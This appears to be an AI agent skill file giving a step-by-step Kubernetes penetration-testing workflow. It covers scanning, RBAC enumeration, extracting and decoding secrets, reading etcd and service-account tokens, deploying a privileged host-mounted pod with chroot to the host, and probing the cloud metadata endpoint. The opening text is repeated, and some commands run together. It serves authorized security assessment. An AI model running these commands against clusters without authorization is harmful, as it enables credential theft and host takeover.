Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools. Use when working with performing kubernetes penetration testing.
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools. Use when working with performing kubernetes penetration testing.
Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.
When to Use
Trigger phrases:
"performing kubernetes penetration testing"
"Kubernetes penetration testing systematically evaluates cluster security by simu"
When conducting security assessments that involve performing kubernetes penetration testing
When following incident response procedures for related security events
When performing scheduled security testing or auditing activities
When validating security controls through hands-on testing
Prerequisites
Authorized penetration testing engagement
Kubernetes cluster access (various levels for different test scenarios)
kube-hunter, kubescape, kube-bench installed
kubectl configured
Network access to cluster components
Core Concepts
This section covers core concepts for performing kubernetes penetration testing.
Ensure all prerequisites are met before proceeding
Follow the documented workflow steps in sequence
Record results and any anomalies encountered during this phase
# Install kube-hunter
pip install kube-hunter
# Remote scan
kube-hunter --remote target-cluster.com
# Internal network scan (from within cluster)
kube-hunter --internal
# Pod scan (from within a pod)
kube-hunter --pod
# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json
Step 3: CIS Benchmark Assessment with kube-bench
# Run kube-bench on master node
kube-bench run --targets master
# Run on worker node
kube-bench run --targets node
# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3
# JSON output
kube-bench run --json > kube-bench-results.json
# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench
# Check current permissions
kubectl auth can-i --list
# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*''*'# cluster-admin check# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods
Step 6: Secret Extraction Testing
# List all secrets
kubectl get secrets -A
# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d
# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
get /registry/secrets --prefix --keys-only
Step 7: Pod Exploitation
# Deploy test pod with elevated privilegescat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: pentest-pod
namespace: default
spec:
hostNetwork: true
hostPID: true
containers:
- name: pentest
image: ubuntu:22.04
command: ["sleep", "infinity"]
securityContext:
privileged: true
volumeMounts:
- name: host-root
mountPath: /host
volumes:
- name: host-root
hostPath:
path: /
EOF# Exec into pod
kubectl exec -it pentest-pod -- bash
# From inside privileged pod - access host filesystemchroot /host
# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Step 8: Network Policy Testing
# Check for network policies
kubectl get networkpolicies -A
# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc
# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com
# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/
Validation Commands
# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json
# Cross-validate with Kubescape
kubescape scan framework nsa --format json
# Check remediation effectiveness
kube-bench run --targets master,node --json
# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata
When NOT to Use
You don't have explicit written authorization to test
Task is about defense/detection, not offense (use detection skills)
You need to implement security controls (use implementing-* skills)
